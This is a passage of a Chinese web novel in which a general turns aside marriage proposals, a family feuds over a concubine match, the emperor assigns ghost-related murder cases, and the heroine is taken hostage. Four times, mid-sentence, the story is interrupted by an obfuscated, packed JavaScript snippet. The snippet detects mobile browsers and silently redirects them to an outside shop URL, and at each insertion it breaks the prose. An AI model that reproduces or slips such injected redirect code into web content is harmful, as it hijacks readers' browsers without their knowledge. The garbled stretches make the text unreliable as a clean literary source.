慕夏醉酒脸色酡红,道:“那哪是殴打官员?我殴打了官僚此刻还能善了了?我是打了官员不听话的家丁,这些家丁爪牙欲先殴我,我只是防卫罢了。” 说完,在场的笑声小了下去,有人偷瞄沈秋珏的脸色,见沈秋珏没有异样大家才放心畅怀,但是没人敢去问慕夏为什么打何家的家丁。这件事原本大家都十分好奇,京中传开了,说慕家公子和何家的人打起来了,大家茶余饭后几乎都在讨论这件事。 讨论如此广的原因,一来是慕家和何家原先是世交,慕子詹和何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633247|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岳同门进士相交甚好,还给下一代定了娃娃亲,当时不失为美谈,如今却闹得拳脚相向令人唏嘘;二是,四天前才发生了慕喻晚的未婚夫何怀瑾与人苟且的事,慕喻晚的哥哥回京就打去了何怀瑾的府上,令人不免将两件事联系起来。 更有甚者,说沈国公也在场,说的有鼻子有眼的,这可是传闻的另一位当事人沈县主的爹,他去何家干嘛?而且沈国公还是慕夏的最高直属上司,与此事有千丝万缕的关系。 大家各怀心思,场面一时间沉寂了下来。沈秋珏隔着数人看向慕夏,问:“慕夏,你如今年纪双十有七了罢?” 慕夏放下酒杯,抱拳,“大人记得清楚,属下再有两个月就满整二十八岁了。” 沈秋珏点头,“不错,将近而立之年,还未娶妻,这在武官中也不多见哪。” 慕夏有些赧然,没什么话说。 沈秋珏眼光微转,道:“我记得礼部李郎中有一千金,温良淑德,尚待字闺中,不若寻个什么时机,我叫李敬德来府上和你见一见。” 慕夏这下急了,一副抓耳挠腮的模样,“大人,我乃粗人,李千金文字娴熟、才名远播,我怎么配得上?不好耽误人家。” “夫妻互补,一文一武,也是相配的。” 慕夏站起来,“大人,属下只愿征战沙场,马革裹尸,不想这姻缘的事。” 慕夏从来对沈秋珏是忠心耿耿,命令执行不怠的,头一次见他推拒得这样厉害。哪怕叫他杀一千个敌人、甚至是活吞老鼠鳞虫,恐怕他都会去严格执行,都没有这样不情愿。 有个主簿这时候开口,献策般对沈秋珏道:“大人若诚心想让慕夏婚配啊,不如好事成双,送佛送到西,把他妹子的婚事也一并安排了。慕夏不想娶妻,我看多半还是因为担心嫂子对小姑子不好,我说的对不对啊?” 慕夏更加抓耳挠腮,一个身材健硕的大男人站着居然有种无地自容的感觉。 沈秋珏道:“哦?倒是我欠考虑了。” 慕夏作揖,“不必大人烦劳,我妹子的婚事,我这个做哥哥的应当留心负责。至于妹婿,我心中已有人选了。” 沈秋珏抬眼,摩挲酒杯。 有个和慕夏关系好的武官立时开口:“还是你在京中那位好兄弟吧,确实是个好人选。” 慕夏挠头。众人哄笑,无他,只不过是看慕夏这幅样子十分有趣,与他平日直莽的样子对比太明显。 此事在谈笑间也就揭过了,虽然众武官酣笑尽兴,但是宴席终有散席的一刻,到了晚间众人离去,沈秋珏叫住跟在后头的慕夏,让他留一下。 “大人有何吩咐?” 沈秋珏看见他一副生怕再提让他娶妻的模样,不觉好笑。 “你方才说令妹的婚事已有属意之人,说是你的好兄弟,我倒还不知你在京中与谁交好?” 慕夏惊讶,但是一想这是沈秋珏在关心下属,因为他的婚事所以留心他妹子的婚事。 “是禁军都尉,厉青石。” 沈秋珏笑道:“原来是他,选得不错,希望我也很快能喝到一杯喜酒了。” 慕夏感激地谢过,他离去的时候沈秋珏仍站在原地目送他,慕夏心里暗喜大人竟然这么看重他? 8. 第 8 章 慕喻晚在家中等到慕夏回来,此刻夜色已深,厅堂点燃红烛,母亲和余姨娘都在,慕知晨今天也回来了。 不知道为何,慕知晨最近归宁的次数越来越多,她今天一直找机会与慕喻晚单独相处,都被慕喻晚避开了。慕喻晚直觉,慕知晨说的话她不太想听,而且有什么话不能当着自家人面说? 慕夏回家时已换上一身常服,母亲接过他的甲胄好生挂起。当娘的总是怕儿子饿着冷着,问他这么晚回来可有用过饭,慕喻晚笑道:“娘总是瞎担心,哥哥难道在魏国公那里不曾用宴吗?还要回家来吃。” 这话一出,大家都笑了。 慕夏说起今天在宫中的见闻,皇帝如何重用沈大人,对他们这些手下也是礼遇有加。当他说到自己被赏了酒,顿了一下,然后才忍住得意的神色慢道:“皇上赏了百金给我,还提了我的职级。” 慕喻晚虽然早就意料到会有不菲的赏赐,但是当真正听到的时候还是大为惊喜。母亲则是喜笑颜开,面上也有些骄傲。 余姨娘笑着说:“咱们慕家真是苦尽甘来,如今慕夏这般争气,两个妹妹以后在夫家少不得长了脸面,有娘家撑腰。” 慕夏喝了口茶,听了这话立马放下茶杯,“嗯,今天面圣去国公府上,沈大人还提起晚妹子的婚事呢。” 慕喻晚脸色一滞,沈国公没事提这个干什么?不是托他们国公府的人福,她的婚事本来非常美满的。沈国公有没有点自觉,不怕别人嚼更多的舌根? 母亲连忙问:“沈国公么,他干什么提起晚儿的亲事?不会是因着县主的缘故吧?” 慕夏想了想,摇头,“只是袍泽偶然提起,沈大人就问到了。” 慕喻晚心中打鼓,还是弄不懂沈国公想干什么。 慕知晨款款走过来,眼珠一转,“说到晚儿妹子的亲事,巧了,裴郎也说有人与他提过,这人仪表堂堂、家世清白,裴郎说他也不是那轻薄肤浅之辈,不妨先相看着,如若后面有更好的当然好,如若没有他也不失为一个好归宿。” 上回慕知晨归宁,和余姨娘一唱一和的,也是想给慕喻晚推一个夫婿人选,被母亲驳回了。这回她学聪明了,以裴度的角度出发,动之以理晓之以情,让人没有拒绝的理由。 母亲也踟躇道:“那,看看吧?” 慕喻晚下意识就排斥,原来今天慕知晨等了一天就是要和她说这个的,“果真如此良配,今年岁数几何呢?在何处任职?” 慕知晨:“岁数记不太清楚,如今是官任大理寺卿呢。” “不记得?大理寺卿是三品官员,又非世袭爵位,我想只怕是早有婚配了。”慕喻晚笑道。 慕夏在一旁脸顿时黑了,正欲发作。慕知晨赶紧找补:“官宦人家哪能只娶一房?普通富贵人家还有个三妻四妾的呢。” “我怕房子拥挤,人多太吵,当不了妾。” “你当三品官员是咱们这小门小户的,赵大人家府邸大着呢,别说多一个你,就是多十个、一百个,也装得下。” 慕喻晚拍了下桌子,强忍着站起来,“你真是我好姐姐啊,你的裴郎和这位三品的赵大人同是大理寺官员,又是上下级,怕不是拿我当人情许给人家当妾的吧?” 慕知晨也有了脾气,并不觉得自己有错,“什么人情不人情,同朝为官,结为连襟那不是美谈吗?再说,裴郎仔细考察过赵大人的人品,觉得是良配才决定定下的。礼部李郎中的千金,比你还小一岁,若说相貌身段,还不如你呢,多少人上赶着给她说媒,你再看咱们家从你退婚之后有人登门提亲吗?” 慕喻晚脸白了白,慕知晨话中带刺,什么意思简直太明显了。她气的是,只要一天不嫁出去,这种气就总得受,绝不会仅有一次。 “姐姐还是管好自家的夫君吧,能心安理得给上级官员送亲人当妾,我看自己也多少有这个心思。当然了,姐姐只要能住大房子,夫君多娶几个也容得下。” 慕知晨气红了脸,想要骂几句慕喻晚,被慕夏打断了,慕夏方才一直隐忍着没说话,这会儿他出言喝止:“行了,都少说两句!” 慕知晨和慕喻晚都闭了嘴。 “晚儿的亲事我自有安排,她若不愿意谁也勉强不了,那个什么赵非勒赵大人,你上次也是提的他吧?上回说未婚配的男子,这回一问居然是让我妹妹去做妾,赵家连明月楼的姑娘都抬了两房进去,京城中茶余饭后多少人编排,裴度不知道?还是他瞒着你?” 慕喻晚捏紧左手手腕,她是想过这个赵大人是个贪色之辈,没想到还荒淫无度! 慕知晨气极反笑,冷哼道:“晚儿的事别人就编排得少了?” “慕知晨!”母亲和慕夏同时出声。 余姨娘拉了拉慕知晨的手,示意她不要再说了。慕知晨一撇头没再说话,眼中堕下几滴泪来。 慕夏拍板定音:“喻晚的亲事我来安排,就算不能成,我也养她一辈子!慕家虽小,还不缺她住的地方。” 慕夏这话说得斩钉截铁,谁人也不敢置喙了。厅堂的红烛快要燃尽,火焰闪烁了一下,慕家的众人也都各自回房去歇息。 就在慕夏以及武官离开国公府的第二天,皇帝就把沈秋珏召来永华殿,言谈间甚是随意似乎并无什么规矩。 永华殿的玉暖阁,一向是皇帝接见近臣的地方,墙上挂着圣祖皇帝的御容图,地上可见之处都覆盖龙纹羊绒毡毯,金质香炉冒出乳白色的香气仿佛一汪泉眼,琉璃般透明的玉盏玉杯盛着金黄色的液体。 “昨天你才进宫,今天又把你叫来,实在是你征战在外,朕与你许久未见,趁着你在京中的功夫朕想多见见你。”皇帝在卧榻上盘腿坐着,手上拈着一枚黑色棋子在把玩。 这棋子一颗颗皆如美玉,剔透温润,质地极其细腻,沈秋珏在棋盘的对面侧身坐着,他认得出来上回进宫下棋用的也是这一套棋具,那都是三年前了。 沈秋珏落下一颗子,“臣在外能为陛下分忧,在京中若能让陛下开怀片刻,也是臣之荣幸。” 蒋勖摆摆手,“这些场面上的客套话你与朕之间就不必说了,说说你吧,如今仍没有续弦之意吗?一丁点也无?” 皇帝今天穿的一套青金石色的常服,神色轻松,没有往日在朝会上那般威严,言语之间就是关心他的家事。 “陛下知道的。”沈秋珏淡淡回道。 蒋勖落子,叹道:“卿真乃情根深种,念旧之人。” 沈秋珏不置可否,“臣一个人惯了,平日相处的也多是杀伐之人,如有个女人在身边反倒不习惯。” 蒋勖看他落子,没急着拈子,而是摸了下下巴,饶有兴味道:“哦?那前日,你在何岳何寺丞家门口,与人打架是为了什么?我可听说当时有一面容较好的女子在场啊。” 沈秋珏一时哑然,皇帝都听到些什么乱七八糟的传闻,此事竟然都传到陛下那里去了? 门外有值守太监宣皇后觐见,蒋勖立刻让人进来,皇后进了门内行礼。皇后母仪天下,笑起来仍然端庄:“皇上,臣妾听闻皇帝通宵达旦处理政务不曾休憩,来送一碗当归黄芪乌鸡汤给陛下,本来只叫人送来就走的,结果听闻臣妾弟弟也在永华殿陪陛下下棋解闷,臣妾就自作主张求见,陛下不会怪臣妾打搅了吧?” 蒋勖立刻上前将人扶起,“我怎么会怪梓潼,本来国舅回京几日,一直要找个机会让你们姐弟见面叙叙旧,不得空暇才一直耽误了。你不来永华殿,我也是要着人去叫你来的。” 沈秋珏在方才皇帝下榻的时候已经起身,他向沈秋容行礼,平身后打量了沈秋容,她当了皇后之后,和当初相比只是气质更为成熟有韵味了,眼中的神采还带了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633248|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初的模样,姐姐这些年并没有被深宫蹉跎,他有了些许宽心。 “臣给皇后带了些玩意儿,都是边关的特产,皇后无聊可以把玩解闷。” 皇后明显更加喜悦,“国舅倒是费心了。这些年看着你长成,也着实不容易。就是这么大的人了,身边没个女人照顾,做姐姐的心里怎能不急?” 蒋勖嘴角勾了勾,看沈秋珏有点吃瘪的模样,笑意更深,“方才朕还和他说这个事呢,怪不得梓潼着急。前天,国舅和女子有了一点传闻,朕和梓潼说了,她嘱咐朕一定要问清到底是怎么回事。” 蒋勖的眼神和沈秋容的眼神合在一处,直直向沈秋珏射过来。 沈秋珏无奈,只能把那天的事解释了一遍,只是隐去了沈君念和何怀瑾这一层关系,只说是何家和慕家因为退婚起了冲突,他路过看到属下也在,当天正在下雨天气寒冷,他就用马车把人带了回去。 蒋勖和沈秋容对视一眼,蒋勖将信将疑,沈秋容语气和缓:“是这样啊,慕家是哪个慕家?这位慕家的女儿,你好似格外怜惜一些。” 沈秋珏看向皇帝,“陛下应该知道,当时国子监的慕中允,慕子詹。” 皇帝仰了仰头,思索道:“啊,是慕子詹的女儿啊。朕记得慕中允,当时朕和你一同读书,没少被他检查功课。朕记得,他四十又一便英年早逝,当时还由朕叮嘱过厚赠赙仪。” 不过,这位正值壮年的年轻皇帝敏锐察觉到,沈秋珏避开了皇后最后说的一句话,只是回答了皇后明面上的问题,是心虚,还是真有怜惜,抑或都有? 皇帝如炬的目光轻飘飘落在沈秋珏的脸上,沈秋珏一副坦荡无所隐瞒很正直的样子,两个人都没有说什么。 皇后没有察觉到,她善解人意道:“国舅在外奔波征战,这回回京可得好好休养生息,万事不可劳累。” 沈秋珏拱手,“身为天子之臣,既受君恩,朝乾夕惕,不敢懒惰。” 皇后看了皇帝一眼,指望皇帝来劝劝她弟。 皇帝咳嗽了一声,“沈卿是肱股之臣,朕确有一事要劳烦你去办。” 这是要接旨了。 沈秋珏要跪下,被皇帝拦住,“只是口谕,你仔细听着即可。” 沈秋珏站定,皇帝口述京城中一年内出现的两件大案。 听完,沈秋珏明白了,皇帝为何着他去办理。 这两件案子,第一件是贩卖私盐案牵扯出来的,京郊犯了案的石二为了逃脱抓捕,把贩卖私盐的全部罪责推到漕帮的同伙常矛身上,结果常矛到了公堂之上突然口吐白沫作他人神态,神态几乎到了令人不得不信的地步。 若只是如此倒也罢了,这个常矛不仅说自己是鬼魂附身,还说生前被石二所杀害,案件具体的日期、尸体掩埋地点都说的清清楚楚,常矛的妻子被传唤后当场和常矛相认,生前事无论巨细都口述得清清楚楚明明白白,埋葬尸体的地方也确实找到了对得上的死尸。 当时给这件事的判定,是把石二暂时收监。没想到,半年之后,有个少年人寺庙杀人,也和神神鬼鬼的事扯上关系。 这个少年人本是个乞儿,不知为何就突然疯癫了,一路跑到京郊的善业寺砍死了人,被僧人发现的时候少年男子仍然在疯言疯语,嘴里只念叨:“有鬼!”被绑缚到官府后,就在杖刑之下,小孩拒不承认自己杀了人,只说是看见鬼魂报仇杀人与他无关。 “结果当然是也把这个乞儿暂时收押,”皇帝说完这两桩案子的详情,继续道:“我想在京城中发生这样鬼魂复仇的大案来,百姓们会怎么议论,刑部的人多么头疼,其中利害也不需要我多赘述。我想大将军杀伐果断,想必是神鬼绕道,必不会避讳怪力乱神之事,这案子委托给你我是最放心不过的。” 沈秋珏颔首,“在所不辞,臣当竭尽全力破案。” 9. 第 9 章 大理寺内,沈秋珏由主簿领着,穿行在幽暗的长廊内,两侧的灯笼散发着浑浊的光线。 沈秋珏今天是来查冤魂附身和鬼魂复仇两桩案子的卷宗的,主簿一路跟他讲解这案子的审判经过。主簿带他到存放卷宗的府库,从木架上抽出相关的案牍卷轴,抱了满满一怀,分类堆放在靠墙的桌上。 沈秋珏逐一查阅,眉头逐渐紧锁。 主簿说道:“冤魂附身的案子,石二贿赂漕帮的杨涯收买官盐,被官府抓获,石二推罪到杨涯身上自己逃脱了。谁料杨涯公堂上突然冤魂附体,指控石二过去杀了人,自己是孤魂野鬼只好附身报仇,杨涯被附身后,说出生前的姓名年龄、被杀经过,和调查到的结果完全一致。” 这个案子的基本情况就是这样,和圣上那天说得也差不多,沈秋珏也完全了解。 “卷宗我看了,尸体查验结果,年龄和死亡方式确实一样,但是面目模糊不好叫人分辨。” “大人的意思是?” “死者叫作常矛,他死后妻子程氏被石二霸占,我看卷宗上说程氏被传唤后当场和常矛相认,有将他们二人隔开审讯过吗?” 主簿立刻回应:“奇就奇在这里!当时经手这个案子的京兆府,也并非就全是饭桶,程氏和常矛的孤魂相认后,堂上的判官立刻主张将两人分开,一个房间审程氏,一个房间审被上了身的杨涯。” 沈秋珏抬眼:“结果?” “回忆起生前的事并无二致,比如,程氏列出他们结婚时候打的一套银首饰,有篦子、坠子、戒指和手镯,那边常矛就也回忆说这四件,一样不多一样不少。待两边审讯官员又问坠子是什么款式,篦子多大一个,两个人分别的回答又是相同:坠子是一枚未剥壳的花生,用红线串起来;篦子是半个巴掌大上面刻着云纹。” 京兆府的判官,从后续处理上看,应当非常看重这个案子,不敢随意对待,况且能立时间想通将程氏杨涯分开审的人也不是草包,审讯结果是不用怀疑的。 除非杨涯和程氏早就串通好,共同谋划了这么一出戏。 沈秋珏沉吟:“程氏和杨涯可有过交集?” 主簿摸下巴,思索道:“程氏只说,杨涯来石二家做客的时候,她在火房烧菜,这样见过两次,其他时间并无,”他转了一下眼珠,颇有些暗示的意味:“不过,周围邻居说,程氏可怜,被石二霸占了后,平日见到都是战战兢兢生怕惹他不高兴被打,河边洗衣服的时候手臂上都是青一块紫一块的。” 沈秋珏看了他一眼,明白他是什么意思,无非是说这又是一起奸情杀夫案。 也不排除这个可能,程氏被霸占后本来就积郁在胸,又被石二粗暴对待,如果和杨涯串通好做一场戏陷害石二,也是完全有这个动机的。 “大人觉得这两个案子有交集吗?后面那桩,叫宝儿的少年,说看到孤魂复仇杀人了,案发现场只有他和尸体,凶器还就在旁边。” 沈秋珏思忖道:“暂时还不能下定论。” 沈秋珏看完卷宗,一直沉思着,主簿跟他一起来到讼棘堂外,今天大理寺卿赵大人也在此处巡视。 “裴少卿,你岳家最近在为你那位妻妹的婚嫁头疼吧?”吵闹声中一道年迈高昂的问声透出门外。 主簿看到沈秋珏的脚步停顿一下,他分辨出这是大理寺丞何岳的嗓音,何岳在跟裴度说话。 裴度的岳家,这位主簿思索着,那不是慕家吗?慕家的闺女慕喻晚,她的未婚夫与人苟合被撞见,其人好像就是县主。而何岳,就是慕喻晚未婚夫的爹。 这个何岳,本来要成为慕喻晚的公爹,也就是裴度的姑父。结果,被沈秋珏的女儿横插一脚,如今倒要和沈秋珏结为亲家了。 主簿暗暗心惊,还好自己没说错什么话,沈秋珏这尊大佛心思难猜着,保不准那句话触到他的逆鳞。 裴度反问了一句:“你说呢?内人为此事归宁,家里吵得不可开交。尤其是我那大舅哥,为此还把内人训斥了一顿。” 一道严肃到显得有些装模作样的声音,适时响起:“那是为何?” 沈秋珏眯了下眼,主簿心领神会小声私语道:“赵大人。” 大理寺只有一个赵大人,那就是大理寺卿赵非勒。 裴度叹了口气,“回大人,我那大舅哥是武夫,粗鲁鄙夷,脾气也不好,还不是迁怒于拙荆,要我说这个担子最后还得是落在我们夫妻头上。赵大人可得多担待这点啊!” 奇了怪了,他裴度岳家的家事,裴度夫妻掺和也是正常的,但是怎么会让赵非勒多担待点呢? 赵非勒呵呵笑道:“无妨无妨,慕姑娘那么的明丽清秀,即使有个不懂事的哥哥,婚事也不会忧虑太久的。” 屋内响起几声怪异、暧昧的笑声,像是赵非勒的几个亲信心知肚明什么事,他们不约而同地为此事笑起来。 何岳大声道:“赵大人心胸宽广,依我看慕家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633249|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅缺个主事的,还缺个管得住他那个哥哥的,磨一磨他那硬骨头。” 沈秋珏的神情明显阴沉了一点,主簿在他旁边更为恭敬地候着。 裴度附和:“谁说不是?依我看,要是赵大人娶了妻妹,那就是很圆满的了。就只是,少不得是赵大人多贴补、上心些,慕家不晓得沾了多大的光!” 主簿有点听不下去了,沈秋珏已经抬脚跨进了堂内。 堂内肃然安静,赵非勒和何岳最先站起来行了礼。 “沈国公。” “沈大人安。” 周围人站起来一片,纷纷行礼。 沈秋珏看向何岳和赵非勒,眼底有寒意,“这是什么地方?” 赵非勒面上尴尬,何岳心惊胆战,两个人一时间都支支吾吾说不出话来。 沈秋珏的气场太过压迫,现场顿时十分安静。 大家都明白,沈国公是问罪来了,刚才大家的嬉笑取闹被他全听见了,纷纷思索自己刚刚有没有说到什么涉及他的话。 可是方才,大家没有半句提到县主,更没有一点提到他沈国公啊? “没归档的卷宗堆积成山,又有冤魂错案惹得民间谣言甚嚣尘上,你们不秉公严明,恪尽职守,当这讼棘堂是你们处理私事的会客堂了吗?” 虽是问句,沈秋珏的音量越往后越沉,这话一出,大家更是战战兢兢额头冒汗。 “赵大人,你身为大理寺卿,就是这么服众的?有些话,不需要我点破,好自为之吧。” 眼看沈秋珏拂身要走,赵非勒焦急道:“沈大人,下官是偶然为之,恰巧被您撞上了。您看您这是要去哪儿,不如留在署衙用过饭再走。” 沈秋珏微侧过身,斜眼看他:“我要去办案。” 说完,他带着主簿径直出了门,离开。 讼棘堂内众人维持原状起码有一刻,现场仍然寂静。 何岳和裴度看着赵非勒,指望赵非勒有点什么表示。赵非勒一甩手,咬牙呵斥道:“还愣着干什么?!都滚回自己的位置上去!” 这边,沈秋珏走出了大理寺,主簿相送到大门口。沈秋珏的马车就停在门前,他的属下跪下。 主簿忍不住问了句:“大人看过卷宗,有眉目了吗?我们这些人是两眼一抹黑。” 沈秋珏沉吟:“先从漕帮和私盐这两条线,逐个排查。我此去京兆府,京城中近三年的私盐案,登记在册的漕帮,都要调出来。” 10. 第 10 章 也许是前天晚上的事,慕知晨心里有些愧疚,今天约她出门散心,慕喻晚决定也不计较了。 兰月坊是京中许多女眷都会去坐一坐的茶坊,除了这里装潢雅致、价格公道,还因为它紧挨着燕京十大酒楼之首的秋霞阁。秋霞阁是京中最顶级的达官显贵、富户勋爵流连忘返的好去处,据说秋霞阁每年售出的酒水达到六万斤,上税能有三千两,作为一栋酒楼来说实在是做到无可比拟的境界了。 但是众所周知,去那儿的人非富即贵,不是皇帝的宠臣就是腰缠万贯的财主,大宛朝最末的小吏一个月的俸禄去那儿也就够吃一杯半的酒。而消费得起的主,也不缺这点钱,据说里头有整年整年包下来的厢房,让人不禁揣测客人的身份。 借着秋霞阁的东风,兰月坊的老板娘也没缺过生意。毕竟,去不起秋霞阁,来小小兰月坊喝两杯桂花茶,隔着甬巷观赏灯红酒绿、美轮美奂的秋霞阁,如若有余钱还能包下露台的一处位置近距离观望,不失为一桩美事。 慕喻晚和慕知晨订下二楼的位置,她们攀着用棍子拼接成的扶手,小心踩着悬空的木板做成的楼梯,上了二楼。兰月坊一共有三层,顶楼的观景台是视角最好的,但是三楼很贵。 走过包厢外的狭窄过道,有一间房门没有关,丫鬟端着放了两杯酒的托盘进去,慕喻晚下意识朝里看了一眼。里头那个青衫男人叫了一桌菜,竟然在用银针戳着一盘青翠的油菜。男人抬头,不怀善意的眼神立马和她对上,他的眼珠很黑。 慕喻晚想,什么人谨慎到在外头吃饭还要一一试毒的?慕知晨显然也很惊讶,她赶紧拉着慕喻晚低头匆匆走过。 慕喻晚和慕知晨在桌旁坐下,小二上了两壶茶水。慕知晨明显吓得不轻,抚着胸脯,舒气道:“吓死我了,刚才那个人眼睛好黑,像个杀人犯!” 慕喻晚倒了杯茶,红色的茶水盛在瓷白的茶杯里,鲜艳得像是血,她突然不口渴了,于是放下茶杯道:“最近诸事不顺,我预感不太好。” 慕知晨不假思索,“你是说你的亲事吧。” 慕喻晚不耐烦,“不想提。” “其实你这么好看,任谁也想不到,能因为亲事苦恼。有时候只要不那么倔,想法变一下,那就是另一番天地了。”慕知晨说话的时候,眼珠冒着精光。 慕喻晚恨不得摔杯就走,“姐姐还真是锲而不舍。” 她以为慕知晨约她出来散心,是真的为曾经想把她介绍给赵非勒当妾而感到愧疚。可是她现在说的话,又分明在往那个方向引,她还是不死心。 慕知晨干笑了两声,外头出现一阵骚动,慕喻晚警觉起来。 “哎哟,官爷,您这是干什么,我们这都是来喝茶的客人,哪有逃犯啊?”老板娘大呼小叫地跟在一群人身后。 这群人“咚咚咚”踩着楼梯,声势浩大。慕喻晚起身,够着身子想看清楚谁来了,结果慕知晨拉着她就往外跑。 “愣着干嘛?赶紧走。”慕知晨低头脚步匆匆。 “就一个楼梯。” “那边有空厢房,我们进去躲一下,别跟这些人扯上关系。” 慕知晨拉着她进入过道,结果路过第二间房的时候,房门突然打开,里头的青影飞窜了出来。 慕喻晚还没看清楚怎么回事,那道青影瞬间席卷而来,她听到慕知晨惊恐地高喊了一声,自己的双手被反剪身后攥在一只牢固的手掌里,脖子上抵着冰凉的金属,她垂下眼睑一看,一把闪着寒光的匕首贴着她的喉咙,这把匕首稍稍一推她下一秒就会血溅当场。 慕知晨捂着嘴,连连往后退,直到紧紧靠着木门。 慕喻晚把呼吸放得很缓慢,然而那把匕首的刃还是轻微刺破她的肌肤,血珠沿着刀刃滴落在地板上。 她感觉自己要晕过去了。 “小姐,没有恶意,我只想活命。”男人的声音有点沙哑,带着股亡命天涯的疯劲。 慕喻晚嘴唇哆嗦,你想活命为啥抓我?然而一个字都蹦不出来。 男人突然笑了,笑得更加肆无忌惮,他带着慕喻晚往二楼望台处移动,那边是没有封闭的短廊,他很明显是想从那里跳下逃走。 楼梯上来整齐划一的官兵,手持张满的弓,迅速将二楼中间的位置团团围住,箭矢对准慕喻晚两人,包围不断缩小、逼近,慕喻晚被挟持着在中间。 这个弓箭一齐发出,瞬间就能将慕喻晚和逃犯两个人射成刺猬。 客人全都匆匆溜走,来不及跑的几个都躲在桌子底下瑟瑟发抖。慕喻晚没有看到慕知晨在哪里,想必是早跑掉了。 从慕喻晚的角度看出去,两层包围圈后头,站着一个人影,他露出黑色的衣袍和小半张脸,不知道是谁。 “你们要是不在乎这个小娘皮的命,那我就把她杀了。”男人动了动手腕。 慕喻晚已经感受不到脖子上伤口的疼痛,心里被更大的惊恐所笼罩。 事到如今,必须冷静,必须沉着,她使劲清了清脑子里无关紧要的恐慌情绪。 说什么能让一个穷凶极恶的亡命之徒放过她?哪怕是漏出一点机会让她趁乱溜走?慕喻晚想到了自残,把自己的腿折断,让他不好带着自己行动,于是就有丢下自己的可能。但是,这种做法同样会有让歹徒觉得她没有利用价值,随时可以捏死之想法的可能。 她肩不能提手不能抗,毫无缚鸡之力,靠身手逃走显然不可能。这个歹徒有什么弱点和软肋呢?似乎这种江洋大盗都是独来独往神秘性极强,而且她对其一无所知。 慕喻晚很惜命,她知道自己是个胆小的人,过去种种胆小的表现也不过是因为她惜命怕事。 她,还是太弱小了。当时就她和慕知晨两个人,这杀千刀的逃犯还一眼选中她来挟持,过去千百次类似的事每每都是她遭殃。 幼时她和玩伴一起,能有欺负她的小孩绝不会去欺负其他人;八九岁爱捉弄人的男孩子,能去捉弄她绝不会捉弄她的朋友;穿越到大宛朝,本来美满的婚事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633250|143654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也会被别人横插一脚从中作梗。 慕喻晚死到临头,竟然生出几分勇气,好像可以埋怨命运的不公平对待,“大哥,我哪里惹到你了?” 歹徒突然笑了,笑得狰狞,“这小娘皮长得美丽,胆子小得可怜,没想到我阴沟里活了一辈子,到头来能有这种艳福,哈哈哈哈……” 他狂妄的笑声震彻屋顶,慕喻晚顿时有了想拼命的冲动,她低头看了眼匕首还是忍住了。 她从前也不是没怪罪过自己,美丽和胆小,就因为这两样,所以人人都能绊她一脚、颐指气使两句,而且本质不好的人往往人群中一眼就能抓住她,逮着她一个人可劲儿显摆权威。 慕喻晚鼻尖闻到了梅花的香味,眼前的官兵被黑衣人拨开,他走到包围圈里头,是沈秋珏。 沈秋珏一向只负责边塞的守卫,抵御外族侵略,怎么会调动得了燕京的巡捕营?除非是圣上下旨,这名歹徒恐怕真是什么逃窜在外屡次犯下大案的江洋大盗了,不然不会这么重视对他的抓捕,连沈秋珏都调到巡捕营了。慕喻晚只祈祷这次歹徒的运气不要那么好,会最终丧命,而她足够幸运能被救走。 每个巡捕营的兵都把弯弓的弦使劲拉满,弓弦张力已达到最大,只等沈秋珏一声令下,箭矢飞向一个方向,歹徒和慕喻晚的生命也只在顷刻之间。 剑拔弩张之际,沈秋珏身边一名穿着红色衣服的官兵上前请示:“大人,是否下令?” 沈秋珏抬手,慕喻晚的心提到嗓子眼。没想到他摆了摆手,那红衣心腹领会了意思是暂时按兵不动。 慕喻晚大气都不敢出,生怕下一秒就被射穿了,成了肉泥。 沈秋珏看向慕喻晚,她知道他是在看身后的歹徒,沈秋珏开口:“看起来你已经是穷途末路,刚好,我们可以心平气和谈一谈。你想想我也未必想杀死你,码头的时候要杀你很多机会,我都没有下手,我只是想向你打探一些消息,你可以用知道的情报当作筹码谈判。” 慕喻晚寄希望于沈秋珏是有办法的,他看起来面如平湖。 